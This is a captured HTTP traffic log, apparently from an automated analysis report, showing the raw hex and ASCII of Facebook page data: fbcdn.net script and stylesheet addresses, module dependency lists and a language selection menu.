2022-10-08 09:34:27 UTC	223	IN	Data Raw: 31 38 34 62 0d 0a 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 6b 5c 2f 72 5c 2f 6e 56 55 68 76 6d 65 79 6a 47 5f 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 50 66 34 6f 47 4b 44 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 76 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 4e 54 32 69 5f 70 41 62 76 48 4a 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 Data Ascii: 184b":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yk\/r\/nVUhvmeyjG_.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"Pf4oGKD":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yv\/l\/0,cross\/NT2i_pAbvHJ.css?_nc_x=Ij3Wp8lg5Kz","nc":1
2022-10-08 09:34:27 UTC	224	IN	Data Raw: 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 66 5c 2f 72 5c 2f 6e 53 5a 37 34 46 46 2d 7a 79 4d 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 63 39 68 4d 5a 73 7a 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 65 77 4e 34 5c 2f 79 64 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 6d 65 31 4a 4a 44 39 7a 39 49 4d 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6a 51 37 6e 5c 2f 39 6a 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 Data Ascii: t\/rsrc.php\/v3\/yf\/r\/nSZ74FF-zyM.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"c9hMZsz":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iewN4\/yd\/l\/en_US\/me1JJD9z9IM.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"jQ7n\/9j":{"type":"js","src":"https:\/\/static.xx.fb
2022-10-08 09:34:27 UTC	226	IN	Data Raw: 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 44 39 58 42 33 67 6a 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 73 6a 37 34 5c 2f 79 6e 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 4a 38 5a 2d 70 42 47 65 51 4b 54 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 64 78 5c 2f 41 67 70 4f 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 37 5c 2f 72 5c 2f 79 36 52 4f 41 39 66 65 77 71 48 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 Data Ascii: g5Kz","nc":1},"D9XB3gj":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3isj74\/yn\/l\/en_US\/J8Z-pBGeQKT.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"dx\/AgpO":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y7\/r\/y6ROA9fewqH.js?_nc_x=I
2022-10-08 09:34:27 UTC	227	IN	Data Raw: 44 34 48 44 36 71 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 34 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 52 57 55 68 47 52 42 41 33 31 67 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 37 49 37 78 77 72 73 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 73 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 5f 6c 34 53 39 49 78 4d 4b 4e 47 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 Data Ascii: D4HD6q":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y4\/l\/0,cross\/RWUhGRBA31g.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"7I7xwrs":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/ys\/l\/0,cross\/_l4S9IxMKNG.css?_nc_x=Ij3Wp8lg
2022-10-08 09:34:27 UTC	229	IN	Data Raw: 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 4f 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 6c 79 57 37 36 5f 47 49 73 65 6b 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 77 69 42 32 39 55 66 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 50 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 30 77 59 7a 4d 44 75 35 4a 34 4b 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6a 0d 0a 35 39 35 0d 0a 6a 32 39 55 5a 42 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 Data Ascii: .xx.fbcdn.net\/rsrc.php\/v3\/yO\/l\/0,cross\/lyW76_GIsek.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"wiB29Uf":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yP\/l\/0,cross\/0wYzMDu5J4K.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"j595j29UZB":{"type":"js","s
2022-10-08 09:34:27 UTC	230	IN	Data Raw: 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 38 45 4c 43 42 77 48 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 46 5c 2f 72 5c 2f 33 73 68 6d 64 52 72 38 73 6c 36 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 75 59 50 78 56 4b 0d 0a 32 31 66 63 0d 0a 50 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 6b 41 61 34 5c 2f 79 65 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c Data Ascii: js?_nc_x=Ij3Wp8lg5Kz","nc":1},"8ELCBwH":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yF\/r\/3shmdRr8sl6.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"uYPxVK21fcP":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3ikAa4\/ye\/l\/en_US\
2022-10-08 09:34:27 UTC	231	IN	Data Raw: 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 2c 22 72 22 3a 5b 22 42 49 79 6c 4b 43 34 22 2c 22 68 4b 59 30 51 4b 54 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 44 4f 4d 22 3a 7b 22 72 22 3a 5b 22 38 7a 62 45 5a 74 75 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 31 33 45 77 71 6a 69 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 46 6f 72 6d 22 3a 7b 22 72 22 3a 5b 22 38 7a 62 45 5a 74 75 22 2c 22 5a 32 47 6a 56 75 39 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 31 33 45 77 71 6a 69 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 46 6f 72 6d 53 75 62 6d 69 74 22 3a 7b 22 72 22 3a 5b 22 6e 36 57 34 78 4d 48 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 5a 32 47 6a 56 75 39 22 2c 22 38 65 56 4d 41 6e 58 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 68 33 5a 7a 41 6d 47 22 2c 22 31 33 Data Ascii: "IntlQtEventFalcoEvent"],"r":["BIylKC4","hKY0QKT"]},"be":1},"DOM":{"r":["8zbEZtu","vGt2mxz","13Ewqji"],"be":1},"Form":{"r":["8zbEZtu","Z2GjVu9","vGt2mxz","13Ewqji"],"be":1},"FormSubmit":{"r":["n6W4xMH","8zbEZtu","Z2GjVu9","8eVMAnX","vGt2mxz","h3ZzAmG","13
2022-10-08 09:34:27 UTC	233	IN	Data Raw: 66 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 50 66 34 6f 47 4b 44 22 2c 22 49 61 52 5c 2f 36 75 50 22 2c 22 46 4a 76 47 4b 5c 2f 6a 22 2c 22 78 4d 44 30 34 37 63 22 2c 22 5a 57 4a 38 78 38 55 22 2c 22 6e 36 57 34 78 4d 48 22 2c 22 70 49 73 35 72 6c 6d 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 5c 2f 6f 30 47 44 55 6d 22 2c 22 4a 41 46 7a 4d 4f 71 22 2c 22 58 39 6e 72 36 35 61 22 2c 22 31 33 45 77 71 6a 69 22 2c 22 5a 32 47 6a 56 75 39 22 2c 22 59 79 46 76 78 65 64 22 2c 22 5c 2f 6f 35 59 76 4f 32 22 2c 22 68 4b 59 30 51 4b 54 22 2c 22 37 39 56 39 63 56 5a 22 2c 22 4b 73 62 52 73 33 75 22 2c 22 47 70 51 46 42 77 4c 22 2c 22 35 56 78 43 64 34 48 22 2c 22 34 6a 31 64 6d 39 71 22 2c 22 78 32 6c 72 47 41 57 22 2c 22 55 32 33 48 54 63 68 22 2c 22 6b 4f 45 48 76 70 75 Data Ascii: f","R5w1rCJ","Pf4oGKD","IaR\/6uP","FJvGK\/j","xMD047c","ZWJ8x8U","n6W4xMH","pIs5rlm","8zbEZtu","\/o0GDUm","JAFzMOq","X9nr65a","13Ewqji","Z2GjVu9","YyFvxed","\/o5YvO2","hKY0QKT","79V9cVZ","KsbRs3u","GpQFBwL","5VxCd4H","4j1dm9q","x2lrGAW","U23HTch","kOEHvpu
2022-10-08 09:34:27 UTC	234	IN	Data Raw: 65 6e 74 22 2c 22 42 61 6e 7a 61 69 53 63 75 62 61 5f 44 45 50 52 45 43 41 54 45 44 22 2c 22 50 61 67 65 54 72 61 6e 73 69 74 69 6f 6e 73 22 2c 22 41 6e 69 6d 61 74 69 6f 6e 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 50 68 6f 74 6f 54 61 67 73 22 3a 7b 22 72 22 3a 5b 22 74 6a 6d 6b 2b 30 4b 22 2c 22 78 4d 44 30 34 37 63 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 42 49 79 6c 4b 43 34 22 2c 22 31 33 45 77 71 6a 69 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 54 61 67 54 6f 6b 65 6e 69 7a 65 72 22 3a 7b 22 72 22 3a 5b 22 74 6a 6d 6b 2b 30 4b 22 2c 22 78 33 39 30 4f 72 69 22 2c 22 34 34 75 48 39 6f 39 22 2c 22 6b 77 6a 56 4e 70 58 22 2c 22 50 66 34 6f 47 4b 44 22 2c 22 5a 57 4a 38 78 38 55 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 31 33 45 77 71 6a Data Ascii: ent","BanzaiScuba_DEPRECATED","PageTransitions","Animation"]},"be":1},"PhotoTags":{"r":["tjmk+0K","xMD047c","8zbEZtu","vGt2mxz","BIylKC4","13Ewqji"],"be":1},"TagTokenizer":{"r":["tjmk+0K","x390Ori","44uH9o9","kwjVNpX","Pf4oGKD","ZWJ8x8U","8zbEZtu","13Ewqj
2022-10-08 09:34:27 UTC	236	IN	Data Raw: 4b 43 34 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 42 61 6e 7a 61 69 53 63 75 62 61 5f 44 45 50 52 45 43 41 54 45 44 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 44 69 61 6c 6f 67 22 3a 7b 22 72 22 3a 5b 22 42 6e 52 50 6f 35 68 22 2c 22 6e 36 57 34 78 4d 48 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 58 39 6e 72 36 35 61 22 2c 22 31 33 45 77 71 6a 69 22 2c 22 5a 32 47 6a 56 75 39 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 6c 57 4f 76 47 54 61 22 2c 22 68 33 5a 7a 41 6d 47 22 2c 22 42 49 79 6c 4b 43 34 22 2c 22 52 70 4d 75 38 48 64 22 2c 22 46 6e 33 72 41 6c 37 22 2c 22 52 50 4c 48 38 6a 67 22 2c 22 64 69 6f 67 56 61 75 22 2c 22 65 39 41 4e 7a 77 5c 2f 22 2c 22 64 41 78 58 30 6a 6a 22 2c 22 73 72 50 6d 64 74 34 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 4b 73 62 52 73 Data Ascii: KC4"],"rds":{"m":["BanzaiScuba_DEPRECATED"]},"be":1},"Dialog":{"r":["BnRPo5h","n6W4xMH","8zbEZtu","X9nr65a","13Ewqji","Z2GjVu9","vGt2mxz","lWOvGTa","h3ZzAmG","BIylKC4","RpMu8Hd","Fn3rAl7","RPLH8jg","diogVau","e9ANzw\/","dAxX0jj","srPmdt4","R5w1rCJ","KsbRs
2022-10-08 09:34:27 UTC	237	IN	Data Raw: 57 34 78 4d 48 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 5c 2f 6f 30 47 44 55 6d 22 2c 22 4a 41 46 7a 4d 4f 71 22 2c 22 31 33 45 77 71 6a 69 22 2c 22 68 4b 59 30 51 4b 54 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 36 71 62 77 33 50 51 22 2c 22 6c 57 4f 76 47 54 61 22 2c 22 68 33 5a 7a 41 6d 47 22 2c 22 65 50 65 34 5a 52 36 22 2c 22 63 59 55 33 63 33 32 22 2c 22 46 6e 33 72 41 6c 37 22 2c 22 4c 38 6b 70 71 79 46 22 2c 22 30 37 4a 53 69 50 30 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 2c 22 72 22 3a 5b 22 42 49 79 6c 4b 43 34 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 58 55 49 44 69 61 6c 6f 67 42 6f 64 79 2e 72 65 61 63 74 22 3a 7b 22 72 22 3a 5b 22 59 74 Data Ascii: W4xMH","8zbEZtu","\/o0GDUm","JAFzMOq","13Ewqji","hKY0QKT","vGt2mxz","6qbw3PQ","lWOvGTa","h3ZzAmG","ePe4ZR6","cYU3c32","Fn3rAl7","L8kpqyF","07JSiP0"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent"],"r":["BIylKC4"]},"be":1},"XUIDialogBody.react":{"r":["Yt
2022-10-08 09:34:27 UTC	239	IN	Data Raw: 33 62 63 63 0d 0a 79 28 5b 22 42 49 79 6c 4b 43 34 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 68 4b 59 30 51 4b 54 22 2c 22 6d 52 70 44 77 6d 64 22 2c 22 6e 36 57 34 78 4d 48 22 2c 22 68 33 5a 7a 41 6d 47 22 2c 22 64 41 78 58 30 6a 6a 22 2c 22 63 59 55 33 63 33 32 22 2c 22 44 31 5c 2f 4a 54 6d 54 22 2c 22 5a 32 47 6a 56 75 39 22 2c 22 5c 2f 72 4f 30 6c 62 6e 22 2c 22 6c 57 4f 76 47 54 61 22 2c 22 64 69 6f 67 56 61 75 22 2c 22 49 61 52 5c 2f 36 75 50 22 2c 22 58 39 6e 72 36 35 61 22 2c 22 4b 73 62 52 73 33 75 22 2c 22 46 6e 33 72 41 6c 37 22 2c 22 52 50 4c 48 38 6a 67 22 2c 22 7a 50 4c 67 49 47 54 22 2c 22 73 72 50 6d 64 74 34 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 59 74 55 33 43 35 75 22 2c 22 43 47 6b 48 34 46 59 22 2c 22 65 39 Data Ascii: 3bccy(["BIylKC4","8zbEZtu","vGt2mxz","hKY0QKT","mRpDwmd","n6W4xMH","h3ZzAmG","dAxX0jj","cYU3c32","D1\/JTmT","Z2GjVu9","\/rO0lbn","lWOvGTa","diogVau","IaR\/6uP","X9nr65a","KsbRs3u","Fn3rAl7","RPLH8jg","zPLgIGT","srPmdt4","R5w1rCJ","YtU3C5u","CGkH4FY","e9
2022-10-08 09:34:27 UTC	240	IN	Data Raw: 6e 65 74 22 2c 22 61 64 31 33 2e 61 64 66 61 72 6d 31 2e 61 64 69 74 69 6f 6e 2e 63 6f 6d 22 2c 22 69 6c 6f 76 65 6d 79 66 72 65 65 64 6f 6d 73 2e 63 6f 6d 22 2c 22 73 65 63 75 72 65 2e 61 64 6e 78 73 2e 63 6f 6d 22 5d 2c 22 69 73 5f 6d 6f 62 69 6c 65 5f 64 65 76 69 63 65 22 3a 66 61 6c 73 65 7d 2c 32 37 5d 5d 2c 22 69 6e 73 74 61 6e 63 65 73 22 3a 5b 5b 22 5f 5f 69 6e 73 74 5f 30 32 31 38 32 30 31 35 5f 30 5f 30 5f 69 43 22 2c 5b 22 53 65 6c 65 63 74 61 62 6c 65 4d 65 6e 75 22 2c 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 30 5f 6d 44 22 2c 22 48 54 4d 4c 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 31 5f 58 51 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 Data Ascii: net","ad13.adfarm1.adition.com","ilovemyfreedoms.com","secure.adnxs.com"],"is_mobile_device":false},27]],"instances":[["__inst_02182015_0_0_iC",["SelectableMenu","MenuSelectableItem","__markup_3310c079_0_0_mD","HTML","__markup_3310c079_0_1_XQ","__markup_3
2022-10-08 09:34:27 UTC	242	IN	Data Raw: 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 64 65 5f 44 45 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 32 5f 51 65 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 44 65 75 74 73 63 68 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 65 6e 5f 47 42 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 Data Ascii: rItem","value":"de_DE","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_2_Qe"},"label":"Deutsch","title":"","className":"headerItem"},{"class":"headerItem","value":"en_GB","selected":false,"ctor":{"__m":"MenuSelect
2022-10-08 09:34:27 UTC	243	IN	Data Raw: 6c 61 62 65 6c 22 3a 22 4d 61 67 79 61 72 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 6e 6c 5f 4e 4c 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 61 5f 73 50 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 4e 65 64 65 72 6c 61 6e 64 73 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a Data Ascii: label":"Magyar","title":"","className":"headerItem"},{"class":"headerItem","value":"nl_NL","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_a_sP"},"label":"Nederlands","title":"","className":"headerItem"},{"class":
2022-10-08 09:34:27 UTC	245	IN	Data Raw: 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 68 5f 61 46 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 53 76 65 6e 73 6b 61 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 76 69 5f 56 4e 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 Data Ascii: {"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_h_aF"},"label":"Svenska","title":"","className":"headerItem"},{"class":"headerItem","value":"vi_VN","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0
2022-10-08 09:34:27 UTC	246	IN	Data Raw: 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6f 5f 76 31 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 5c 75 30 36 32 37 5c 75 30 36 34 34 5c 75 30 36 33 39 5c 75 30 36 33 31 5c 75 30 36 32 38 5c 75 30 36 34 61 5c 75 30 36 32 39 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 68 69 5f 49 4e 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 70 5f 73 Data Ascii: "__m":"__markup_3310c079_0_o_v1"},"label":"\u0627\u0644\u0639\u0631\u0628\u064a\u0629","title":"","className":"headerItem"},{"class":"headerItem","value":"hi_IN","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_p_s
2022-10-08 09:34:27 UTC	247	IN	Data Raw: 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 76 5f 4e 49 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 5c 75 64 35 35 63 5c 75 61 64 36 64 5c 75 63 35 62 34 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 5d 2c 7b 22 69 64 22 3a 22 75 5f 30 5f 36 5f 6f 4b 22 2c 22 62 65 68 61 76 69 6f 72 73 22 3a 5b 7b 22 5f 5f 6d 22 3a 22 58 55 49 4d 65 6e 75 57 69 74 68 53 71 75 61 72 65 43 6f 72 6e 65 72 22 7d 5d 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 5f 35 37 64 69 22 2c 22 6d 61 78 68 65 69 67 68 74 22 3a 35 30 30 2c 22 74 68 65 6d 65 22 3a 7b 22 5f 5f 6d 22 3a 22 58 55 49 4d 65 6e 75 54 68 65 6d 65 22 7d 7d 5d 2c 33 5d 2c 5b 22 5f 5f 69 6e 73 74 5f 65 61 64 31 65 35 36 35 5f 30 5f Data Ascii: m":"__markup_3310c079_0_v_NI"},"label":"\ud55c\uad6d\uc5b4","title":"","className":"headerItem"}],{"id":"u_0_6_oK","behaviors":[{"__m":"XUIMenuWithSquareCorner"}],"className":"_57di","maxheight":500,"theme":{"__m":"XUIMenuTheme"}}],3],["__inst_ead1e565_0_
